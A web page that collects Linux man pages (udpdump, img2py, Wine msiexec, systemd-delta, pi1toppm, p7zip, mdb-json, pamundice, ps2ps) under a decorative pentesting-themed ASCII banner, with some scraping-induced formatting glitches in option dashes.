An optional list of archive members to be excluded from processing. Since wildcard characters match directory separators (`/’), this option may be used to exclude any files that are in subdirectories. For example, ``zipgrep grumpy foo *.[ch] -x */*’’ would search for the string ``grumpy’’ in all C source files in the main directory of the ``foo’’ archive, but none in any subdirectories. Without the -x option, all C source files in all directories within the zipfile would be searched.

OPTIONS

All options prior to the ZIP archive filename are passed to egrep(1).

SEE ALSO

egrep(1), unzip(1), zip(1), funzip(1), zipcloak(1), zipinfo(1), zipnote(1), zipsplit(1)

URL

The Info-ZIP home page is currently at

http://www.info-zip.org/pub/infozip/

or

ftp://ftp.info-zip.org/pub/infozip/ .

AUTHORS

zipgrep was written by Jean-loup Gailly.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

135 - Linux cli command udpdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command udpdump and provides detailed information about the command udpdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the udpdump.

NAME 🖥️ udpdump 🖥️

Provide a UDP receiver that gets packets from network devices (like Aruba routers) and exports them in PCAP format.

SYNOPSIS

udpdump–help ] [ –version ] [ –extcap-interfaces ] [ –extcap-dlts ] [ –extcap-interface=<interface> ] [ –extcap-config ] [ –capture ] [ –fifo=<path to file or pipe> ] [ –port=<port> ] [ –payload=<type> ]

DESCRIPTION

udpdump is a extcap tool that provides a UDP receiver that listens for exported datagrams coming from any source (like Aruba routers) and exports them in PCAP format. This provides the user two basic functionalities: the first one is to have a listener that prevents the localhost to send back an ICMP port-unreachable packet. The second one is to strip out the lower layers (layer 2, IP, UDP) that are useless (are used just as export vector). The format of the exported datagrams are EXPORTED_PDU, as specified in <https://gitlab.com/wireshark/wireshark/-/raw/master/epan/exported_pdu.h>

OPTIONS

–help

Print program arguments.

–version

Print program version.

–extcap-interfaces

List available interfaces.

–extcap-interface=<interface>

Use specified interfaces.

–extcap-dlts

List DLTs of specified interface.

–extcap-config

List configuration options of specified interface.

–capture

Start capturing from specified interface save saved it in place specified by –fifo.

–fifo=<path to file or pipe>

Save captured packet to file or send it through pipe.

–port=<port>

Set the listener port. Port 5555 is the default.

–payload=<type>

Set the payload of the exported PDU. Default: data.

EXAMPLES

To see program arguments:

udpdump –help

To see program version:

udpdump –version

To see interfaces:

udpdump –extcap-interfaces

Example output

interface {value=udpdump}{display=UDP Listener remote capture}

To see interface DLTs:

udpdump –extcap-interface=udpdump –extcap-dlts

Example output

dlt {number=252}{name=udpdump}{display=Exported PDUs}

To see interface configuration options:

udpdump –extcap-interface=udpdump –extcap-config

Example output

arg {number=0}{call=–port}{display=Listen port}{type=unsigned}{range=1,65535}{default=5555}{tooltip=The port the receiver listens on}

To capture:

udpdump –extcap-interface=randpkt –fifo=/tmp/randpkt.pcapng –capture

Note

To stop capturing CTRL+C/kill/terminate the application.

SEE ALSO

wireshark(1), tshark(1), dumpcap(1), extcap(4)

NOTES

udpdump is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Dario Lombardo <lomato[AT]gmail.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

136 - Linux cli command img2py

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command img2py and provides detailed information about the command img2py, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the img2py.

NAME 🖥️ img2py 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

137 - Linux cli command msiexec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msiexec and provides detailed information about the command msiexec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msiexec.

NAME 🖥️ msiexec 🖥️

Wine MSI Installer

SYNOPSIS

msiexec command {required parameter} [optional parameter]…

DESCRIPTION

msiexec is the Wine MSI installer, which is command line compatible with its Microsoft Windows counterpart.

INSTALL OPTIONS

/i {package|productcode} [property=foobar]
Install {package|productcode} with property=foobar.

/a {package|productcode} [property=foobar]
Install {package|productcode} in administrator (network) mode.

/x {package|productcode} [property=foobar]
Uninstall {package|productcode} with property=foobar.

/uninstall {package|productcode} [property=foobar]
Same as /x.

REPAIR OPTIONS

/f [p|o|e|d|c|a|u|m|s|v] {package|productcode}
Repair an installation. Default options are ‘omus’

  1. Reinstall the file if it is missing.

  2. Reinstall the file if it is missing or if any older version is installed.

  3. Reinstall the file if it is missing, or if the installed version is equal or older.

  4. Reinstall the file if it is missing or a different version is installed.

  5. Reinstall the file if it is missing or the checksum does not match.

  6. Reinstall all files.

  7. Rewrite all required user registry entries.

  8. Rewrite all required machine registry entries.

  9. Overwrite any conflicting shortcuts.

  10. Recache the local installation package from the source installation package.

PATCHING

/p {patch} [property=foobar]
Apply patch. This should not be used with any of the above options.

UI CONTROL

/q[n|b|r|f]
These options allow changing the behavior of the UI when installing MSI packages.

/q
Show no UI.

/qn
Same as /q.

/qb
Show a basic UI.

/qr
Shows a reduced user UI.

/qf
Shows a full UI.

LOGGING

/l[*][i|w|e|a|r|u|c|m|o|p|v][+|!] {logfile}
Enable logging to logfile. Defaults are ‘iwearmo’.

  • Enable all logging options except ‘v’ and ‘x’.
  1. Log status messages.
  1. Log nonfatal warnings.

  2. Log all error messages.

  3. Log start of actions.

  4. Log action specific records.

  5. Log user requests.

  6. Log initial UI parameters.

  7. Log out of memory errors.

  8. Log out of diskspace messages.

p
Log terminal properties.

v
Verbose logging.

x
Log extra debugging messages.

+
Append logging to existing file.

!
Flush each line to log.

OTHER OPTIONS

/h
Show help.

/j[u|m] {package|productcode} [/t transform] [/g languageid]
Advertise package optionally with /t transform and /g languageid.

/y
Register MSI service.

/z
Unregister MSI service.

/?
Same as /h.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

msiexec is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

138 - Linux cli command systemd-delta

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-delta and provides detailed information about the command systemd-delta, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-delta.

NAME 🖥️ systemd-delta 🖥️

delta - Find overridden configuration files

SYNOPSIS

systemd-delta [OPTIONS…] [PREFIX | PREFIX/SUFFIX | SUFFIX…]

DESCRIPTION

systemd-delta may be used to identify and compare configuration files that override other configuration files. Files in /etc/ have highest priority, files in /run/ have the second highest priority, …, files in /usr/lib/ have lowest priority. Files in a directory with higher priority override files with the same name in directories of lower priority. In addition, certain configuration files can have “.d” directories which contain “drop-in” files with configuration snippets which augment the main configuration file. “Drop-in” files can be overridden in the same way by placing files with the same name in a directory of higher priority (except that, in case of “drop-in” files, both the “drop-in” file name and the name of the containing directory, which corresponds to the name of the main configuration file, must match). For a fuller explanation, see systemd.unit(5).

The command line argument will be split into a prefix and a suffix. Either is optional. The prefix must be one of the directories containing configuration files (/etc/, /run/, /usr/lib/, …). If it is given, only overriding files contained in this directory will be shown. Otherwise, all overriding files will be shown. The suffix must be a name of a subdirectory containing configuration files like tmpfiles.d, sysctl.d or systemd/system. If it is given, only configuration files in this subdirectory (across all configuration paths) will be analyzed. Otherwise, all configuration files will be analyzed. If the command line argument is not given at all, all configuration files will be analyzed. See below for some examples.

OPTIONS

The following options are understood:

-t, –type=

When listing the differences, only list those that are asked for. The list itself is a comma-separated list of desired difference types.

Recognized types are:

masked

Show masked files

equivalent

Show overridden files that while overridden, do not differ in content.

redirected

Show files that are redirected to another.

overridden

Show overridden, and changed files.

extended

Show *.conf files in drop-in directories for units.

Added in version 205.

unchanged

Show unmodified files too.

–diff=

When showing modified files, when a file is overridden show a diff as well. This option takes a boolean argument. If omitted, it defaults to true.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-pager

Do not pipe output into a pager.

EXAMPLES

To see all local configuration:

systemd-delta

To see all runtime configuration:

systemd-delta /run

To see all system unit configuration changes:

systemd-delta systemd/system

To see all runtime “drop-in” changes for system units:

systemd-delta –type=extended /run/systemd/system

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemd.unit(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

139 - Linux cli command pi1toppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pi1toppm and provides detailed information about the command pi1toppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pi1toppm.

.

NAME 🖥️ pi1toppm 🖥️

convert an Atari Degas .pi1 into a PPM image

SYNOPSIS

pi1toppm

[pi1file]

DESCRIPTION

This program is part of Netpbm(1) .

pi1toppm reads an Atari Degas .pi1 file as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for pi1toppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppmtopi1(1) , pc1toppm(1) , ppm(1) , pi3topbm(1) , pbmtopi3(1)

AUTHOR

Copyright (C) 1991 by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pi1toppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

140 - Linux cli command p7zip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command p7zip and provides detailed information about the command p7zip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the p7zip.

NAME 🖥️ p7zip 🖥️

Wrapper on 7-Zip file archiver with high compression ratio

SYNOPSIS

p7zip [-c|–stdout|–to-stdout] [-d|–decompress|–uncompress] [-f|–force] [-h|–help] [-k|–keep] [] [file …]

DESCRIPTION

7-Zip is a file archiver supporting 7z (that implements LZMA compression algorithm featuring very high compression ratio), LZMA2, XZ, ZIP, Zip64, CAB, RAR (if the non-free p7zip-rar package is installed), ARJ, GZIP, BZIP2, TAR, CPIO, RPM, ISO, most filesystem images and DEB formats. Compression ratio in the new 7z format is 30-50% better than ratio in ZIP format.

p7zip is a gzip-like CLI wrapper script for 7-Zip, and handles only the 7z format (the native format of 7-Zip), internally executing either 7za(1) or 7zr(1) command.

With no switches passed in the command line, each given file argument is compressed into file.7z, and then removed.

With the -d switch each passed file needs to end with the .7z extension and is decompressed. After the decompression the original file is removed unless it contained more than one archived file.

When used without any file argument, p7zip reads data from the standard input and compresses (or decompresses in case of -d) it into the standard output.

SWITCHES

-c, –stdout, –to-stdout
Write output on standard output.

-d, –decompress, –uncompress
Decompress file.

-f, –force
Skip some checks and force compression or decompression.

-h, –help
Print usage.

-k, –keep
Do not delete input file.


Treat all subsequent arguments as file names, even if they start with a dash.

SEE ALSO

7z(1), 7za(1), 7zr(1), bzip2(1), gzip(1), zip(1)

AUTHOR

Written for Debian by Mohammed Adnene Trojette. Updated by Robert Luberda.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

141 - Linux cli command mdb-json

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-json and provides detailed information about the command mdb-json, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-json.

NAME 🖥️ mdb-json 🖥️

json** - Export data in an MDB database table to JSON.

SYNOPSIS

mdb-json [-D fmt] [-T fmt] [-U] database table
mdb-json -h|--help
mdb-json --version

DESCRIPTION

mdb-json is a utility program distributed with MDB Tools.

It produces a CSV (comma separated value) output for the given table**. Such output is suitable for importation into databases or spreadsheets.**

OPTIONS

-D, –date-format fmt
Set the date format (see strftime(3) for details).

-T, –time-format fmt
Set the date/time format (see strftime(3) for details).

-U, –no-unprintable
Change unprintable characters to spaces (otherwise escaped as �XX).

–version
Print the mdbtools version and exit.

NOTES

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset to use for the SQL file. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

HISTORY

mdb-json first appeared in MDB Tools 0.9.

AUTHORS

The mdb-json utility was written by Ugo Di Girolamo. It is based on mdb-export(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

142 - Linux cli command pamundice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamundice and provides detailed information about the command pamundice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamundice.

.

NAME 🖥️ pamundice 🖥️

combine grid of images (tiles) into one

EXAMPLE

    $ pamdice myimage.ppm -outstem=myimage_part -width=10 -height=8
    $ pamundice myimage_part_%1d_%1a.ppm -across=10 -down=8 >myimage.ppm

    $ pamundice myimage.ppm myimage_part_%2a -across=13 -hoverlap=9

SYNOPSIS

pamundice

[**-across=**n]

[**-down=**n]

[**-hoverlap=**pixels]

[**-voverlap=**pixels]

[-verbose]

{input_filename_pattern, **-listfile=**filename}

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamundice reads a bunch of Netpbm images as input and combines them as a grid of tiles into a single output image of the same kind on Standard Output.

You can optionally make the pieces overlap.

The images can either be in files whose names indicate where they go in the output (e.g. ‘myimage_part_03_04’ could be the image for Row 3, Column 4 - see the input_filename_pattern argument) or listed in a file, with a -listfile option.

The input images must all have the same format (PAM, PPM, etc.) and maxval and for PAM must have the same depth and tuple type. All the images in a rank (horizontal row of tiles) must have the same height. All the images in a file (vertical column of tiles) must have the same width. But it is not required that every rank have the same height or every file have the same width.

pamdice is the inverse of pamundice. You can use pamundice to reassemble an image sliced up by pamdice. You can use pamdice to recreate the tiles of an image created by pamundice, but to do this, the original ranks must all have been the same height except for the bottom one and the original files must all have been the same width except the right one.

One use for this is to process an image in pieces when the whole image is too large to process. For example, you might have an image so large that an image editor can’t read it all into memory or processes it very slowly. You can split it into smaller pieces with pamdice, edit one at a time, and then reassemble them with pamundice.

Of course, you can also use pamundice to compose various kinds of checkerboard images, for example, you could write a program to render a chessboard by computing an image of each square, then using pamundice to assemble them into a board.

An alternative to join images in a single direction (i.e. a single rank or a single file) is pamcat. pamcat gives you more flexibility than pamundice in identifying the input images: you can supply them on Standard Input or as a list of arbitrarily named files.

To join piecewise photographs, use pnmstitch instead of pamundice, because it figures out where the pieces overlap, even if they don’t overlap exactly vertically or horizontally.

To create an image of the same tile repeated in a grid, that’s pnmtile.

pnmindex does a similar thing to pamundice: it combines a bunch of small images in a grid into a big one. But its purpose is to produce a an index image of the input images. So it leaves space between them and has labels for them, for example.

ARGUMENTS

Unless you use a -listfile option,, there is one non-option argument, and it is mandatory: input_filename_pattern. This tells pamundice what files contain the input tiles.

pamundice reads the input images from files which are named with a pattern that indicates their positions in the combined image. For example, tile_00_05.ppm could be the 6th tile over in the 1st rank, while tile_04_01 is the 2nd tile over in the 5th rank.

You cannot supply any of the data on Standard Input, and the files must be the kind that pamundice can close and reopen and read the same image a second time (e.g. a regular file is fine; a named pipe is probably not).

input_filename_pattern is a printf-style pattern. (See the standard C library printf subroutine). For the example above, it would be tile_%2d_%2a.ppm. The only possible conversion specifiers are:

d
“down”: The rank (row) number, starting with 0.

a
“across”: The file (column) number, starting with 0.

%
The per cent character (%).

The number between the % and the conversion specifier is the precision and is required. It says how many characters of the file name are described by that conversion. The rank or file number is filled with leading zeroes as necessary.

So the example tile_%2d_%2a.ppm means to get the name of the file that contains the tile at Rank 0, File 5, you:

  • replace the “%2d” with the rank number, as a 2 digit decimal number: “00”

  • Replace the “%2a” with the file number, as a 2 digit decimal number: “05”

Note that this pattern describes file names that pamdice produces, except that the precision may be more or less. (pamdice uses however many digits are required for the highest numbered image).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamundice recognizes the following command line options:

**-across=**N
This is the number of tiles across in the grid, i.e. the number of tiles in each rank, or the number of files.

Default is 1.

**-down=**N
This is the number of tiles up and down in the grid, i.e. the number of tiles in each file, or the number of ranks.

Default is 1.

**-hoverlap=**pixels
This is the amount in pixels to overlap the tiles horizontally. pamundice clips this much off the right edge of every tile before joining it to the adjacent image to the right. The tiles along the right edge remain whole.

There must not be any input image narrower than this.

Note that this undoes the effect of the same -hoverlap option of pamdice.

Default is zero – no overlap.

**-voverlap=**pixels
This is analogous to -hoverlap, but pamundice clips the bottom edge of each image before joining it to the one below.

**-listfile=**filename
This option names a file that contains the names of all the input files. This is an alternative to specifying a file name pattern as an argument.

The named file contains file name, one per line. Each file contains the image for one tile, in row-major order, top to bottom, left to right. So the first file is the upper left tile, the second is the one to right of that, etc. The number of lines in the file must be equal to the number of tiles in the output, the product of the -across and -down values.

The file names have no meaning to pamundice. You can use the same file multiple times to have identical tiles in the output.

This option was new in Netpbm 10.90 (March 2020).

-verbose
Print information about the processing to Standard Error.

HISTORY

pamundice was new in Netpbm 10.39 (June 2007). Before that, pamcat is the best substitute.

SEE ALSO

pamdice(1) , pamcat(1) , pnmindex(1) , pnmtile(1) , pnm(1) pam(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamundice.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

143 - Linux cli command ps2ps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2ps and provides detailed information about the command ps2ps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2ps.

NAME 🖥️ ps2ps 🖥️

Ghostscript PostScript “distiller”

SYNOPSIS

ps2ps [ options ] input output.ps
eps2eps [ options ] input output.eps

DESCRIPTION

ps2ps uses gs(1) to convert PostScript(tm) or PDF(tm) file “input” to simpler, normalized and (usually) faster PostScript in “output.ps”. The output is level 2 DSC 3.0 conforming PostScript.

eps2eps performs the equivalent optimization, creating Encapsulated PostScript (EPS) files. NB, despite the name, the input need not be an EPS file, PostScript or indeed PDF files are equally acceptable.

Both accept any general Ghostscript command line options, and options specific to the ps2write and eps2write devices.

FILES

Run “gs -h” to find the location of Ghostscript documentation on your system, from which you can get more details.

SEE ALSO

ps2pdf(1), ps2ascii(1), ps2epsi(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

